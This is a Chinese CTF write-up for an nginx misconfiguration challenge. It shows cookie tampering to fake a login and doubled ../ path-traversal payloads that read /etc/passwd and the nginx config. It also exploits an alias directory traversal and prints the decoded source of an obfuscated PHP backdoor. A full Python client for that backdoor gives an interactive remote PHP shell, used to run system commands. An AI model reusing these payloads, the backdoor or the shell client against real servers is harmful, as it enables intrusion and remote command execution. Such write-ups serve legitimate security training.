Web_php_wrong_nginx_config

打开靶机提示未登陆并跳转到/login.php

看了一下cookie

isLogin=0

改成1就可以了....

登进去以后发现URL变成了

http://111.198.29.45:42014/admin/admin.php?file=index&ext=php

猜测是个LFI

但是fuzz了几个都不行,也不知道回显在哪....

想起来去翻了翻robots.txt

有两个

//hint.php
配置文件也许有问题呀:/etc/nginx/sites-enabled/site.conf

提示我们要去读这个文件

hack.php貌似和admin.php里的东西一样

最终都会跳转到

http://111.198.29.45:42014/admin/admin.php?file=index&ext=php

这里fuzz了好久.....

最后发现应该是过滤了../

用双写发可以绕过

....//....//....//....//....//....//....//....//etc/passwd
....//....//....//....//....//....//....//....//etc/nginx/sites-enabled/site.conf

拿到config文件

server {
    listen 8080; ## listen for ipv4; this line is default and implied
    listen [::]:8080; ## listen for ipv6

    root /var/www/html;
    index index.php index.html index.htm;
    port_in_redirect off;
    server_name _;

    # Make site accessible from http://localhost/
    #server_name localhost;

    # If block for setting the time for the logfile
    if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") {
       set $year $1;
       set $month $2;
       set $day $3;
    }
    # Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html
    sendfile off;

        set $http_x_forwarded_for_filt $http_x_forwarded_for;
        if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
                set $http_x_forwarded_for_filt $1???;
        }

    # Add stdout logging

    access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
    error_log /var/log/nginx/error.log info;

    location / {
        # First attempt to serve request as file, then
        # as directory, then fall back to index.html
        try_files $uri $uri/ /index.php?q=$uri&$args;
        server_tokens off;
    }

    #error_page 404 /404.html;

    # redirect server error pages to the static page /50x.html
    #
    error_page 500 502 503 504 /50x.html;
    location = /50x.html {
        root /usr/share/nginx/html;
    }
    location ~ \.php$ {
        try_files $uri $uri/ /index.php?q=$uri&$args;
        fastcgi_split_path_info ^(.+\.php)(/.+)$;
        fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
        fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
        fastcgi_param SCRIPT_NAME $fastcgi_script_name;
        fastcgi_index index.php;
        include fastcgi_params;
        fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
    }

    location ~ /\. {
            log_not_found off;
            deny all;
    }
    location /web-img {
        alias /images/;#存在目录穿越问题
        autoindex on;#此次打开了路径浏览
    }
    location ~* \.(ini|docx|pcapng|doc)$ {  
         deny all;  
    }  

    include /var/www/nginx[.]conf;
payload=http://111.198.29.45:42014/web-img../

发现我们现在可以看到靶机上所有文件了

遍历看一下

在/var/www/下找到一个hack.php.bak

<?php
$U='_/|U","/-/|U"),ar|Uray|U("/|U","+"),$ss(|U$s[$i]|U,0,$e)|U)),$k))|U|U);$o|U|U=o|Ub_get_|Ucontents(|U);|Uob_end_cle';
$q='s[|U$i]="";$p=|U$ss($p,3);}|U|Uif(array_k|Uey_|Uexis|Uts($|Ui,$s)){$s[$i].=|U$p|U;|U$e=|Ustrpos($s[$i],$f);|Ui';
$M='l="strtolower|U";$i=$m|U[1|U][0].$m[1]|U[1];$|U|Uh=$sl($ss(|Umd5($i|U.$kh),|U0,3|U));$f=$s|Ul($ss(|Umd5($i.$';
$z='[email protected]$r[|U"HTTP_R|UEFERER|U"];$r|U|[email protected]$r["HTTP_A|U|UCCEPT_LAN|UGUAGE|U"];if|U($r|Ur&|U&$ra){$u=parse_|Uurl($r';
$k='?:;q=0.([\\|Ud]))?,|U?/",$ra,$m)|U;if($|Uq&&$m){|U|U|[email protected]_start()|U|U;$s=&$_SESSIO|UN;$ss="|Usubst|Ur";|U|U$s';
$o='|U$l;|U){for|U($j=0;($j|U<$c&&|U|U$i|U<$|Ul);$j++,$i++){$o.=$t{$i}|U^$k|U{$j};}}|Ureturn $|Uo;}$r=$|U_SERV|UE|UR;$r';
$N='|Uf($e){$k=$k|Uh.$kf|U;ob_sta|Urt();|[email protected]|Ul(@g|Uzuncom|Upress(@x(@|Ubas|U|Ue64_decode(preg|U_repla|Uce(|Uarray("/';
$C='an();$d=b|Uase64_encode(|Ux|U(gzcomp|U|Uress($o),$k))|U;prin|Ut("|U<$k>$d</$k>"|U);@ses|U|Usion_des|Utroy();}}}}';
$j='$k|Uh="|U|U42f7";$kf="e9ac";fun|Uction|U |Ux($t,$k){$c|U=|Ustrlen($k);$l=s|Utrl|Ue|Un($t);$o=|U"";fo|Ur($i=0;$i<';
$R=str_replace('rO','','rOcreatrOe_rOrOfurOncrOtion');
$J='kf|U),|U0,3));$p="|U";for(|U|U$|Uz=1;$z<cou|Unt|U($m[1]);|U$z++)$p.=|U$q[$m[2][$z|U]|U];if(strpos(|U$|U|Up,$h)|U===0){$';
$x='r)|U;pa|Urse|U_str($u["qu|U|Uery"],$q);$|U|Uq=array_values(|U$q);pre|Ug|U_match_al|Ul("/([\\|U|Uw])[|U\\w-]+|U(';
$f=str_replace('|U','',$j.$o.$z.$x.$k.$M.$J.$q.$N.$U.$C);
$g=create_function('',$f);
$g();
?>

只能大概看懂最后三行在干嘛

把$f打印出来看看

$kh="42f7";$kf="e9ac";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;[email protected]$r["HTTP_REFERER"];[email protected]$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

看起来像个后门

最后找到了现成的利用脚本

# encoding: utf-8

from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re

def choicePart(seq,amount):
    length = len(seq)
    if length == 0 or length < amount:
        print 'Error Input'
        return None
    result = []
    indexes = []
    count = 0
    while count < amount:
        i = randint(0,length-1)
        if not i in indexes:
            indexes.append(i)
            result.append(seq[i])
            count += 1
            if count == amount:
                return result

def randBytesFlow(amount):
    result = ''
    for i in xrange(amount):
        result += chr(randint(0,255))
    return  result

def randAlpha(amount):
    result = ''
    for i in xrange(amount):
        result += choice(string.ascii_letters)
    return result

def loopXor(text,key):
    result = ''
    lenKey = len(key)
    lenTxt = len(text)
    iTxt = 0
    while iTxt < lenTxt:
        iKey = 0
        while iTxt<lenTxt and iKey<lenKey:
            result += chr(ord(key[iKey]) ^ ord(text[iTxt]))
            iTxt += 1
            iKey += 1
    return result


def debugPrint(msg):
    if debugging:
        print msg

# config
debugging = False
keyh = "42f7" # $kh
keyf = "e9ac" # $kf
xorKey = keyh + keyf
url = 'http://111.198.29.45:38329/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d','zh-HK;q=0.%d','en-US;q=0.%d','en;q=0.%d']
proxies = None # {'http':'http://127.0.0.1:8080'} # proxy for debug

sess = requests.Session()

# generate random Accept-Language only once each session
langTmp = choicePart(languages,3)
indexes = sorted(choicePart(range(1,10),3), reverse=True)

acceptLang = [defaultLang]
for i in xrange(3):
    acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)

init2Char = acceptLang[0][0] + acceptLang[1][0] # $i
md5head = (md5(init2Char + keyh).hexdigest())[0:3]
md5tail = (md5(init2Char + keyf).hexdigest())[0:3] + randAlpha(randint(3,8))
debugPrint('$i is %s' % (init2Char))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))

# Interactive php shell
cmd = raw_input('phpshell > ')
while cmd != '':
    # build junk data in referer
    query = []
    for i in xrange(max(indexes)+1+randint(0,2)):
        key = randAlpha(randint(3,6))
        value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
        query.append((key, value))
    debugPrint('Before insert payload:')
    debugPrint(query)
    debugPrint(urllib.urlencode(query))

    # encode payload
    payload = zlib.compress(cmd)
    payload = loopXor(payload,xorKey)
    payload = base64.urlsafe_b64encode(payload)
    payload = md5head + payload

    # cut payload, replace into referer
    cutIndex = randint(2,len(payload)-3)
    payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
    iPiece = 0
    for i in indexes:
        query[i] = (query[i][0],payloadPieces[iPiece])
        iPiece += 1
    referer = url + '?' + urllib.urlencode(query)
    debugPrint('After insert payload, referer is:')
    debugPrint(query)
    debugPrint(referer)

    # send request
    r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
    html = r.text
    debugPrint(html)

    # process response
    pattern = re.compile(r'<%s>(.*)</%s>' % (xorKey,xorKey))
    output = pattern.findall(html)
    if len(output) == 0:
        print 'Error,  no backdoor response'
        cmd = raw_input('phpshell > ')
        continue
    output = output[0]
    debugPrint(output)
    output = output.decode('base64')
    output = loopXor(output,xorKey)
    output = zlib.decompress(output)
    print output
    cmd = raw_input('phpshell > ')

注意是phpshell

用system("cat fl*")

phpshell > system("cat fl*");  
<?php 
$flag="ctf{a57b3698-eeae-48c0-a669-bafe3213568c}";
?>

拿到flag

参考资料

Nginx配置安全: https://www.leavesongs.com/PENETRATION/nginx-insecure-configuration.html

文中的php后门分析https://www.cnblogs.com/go2bed/p/5920811.html

© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2020-07-02 20:09:49

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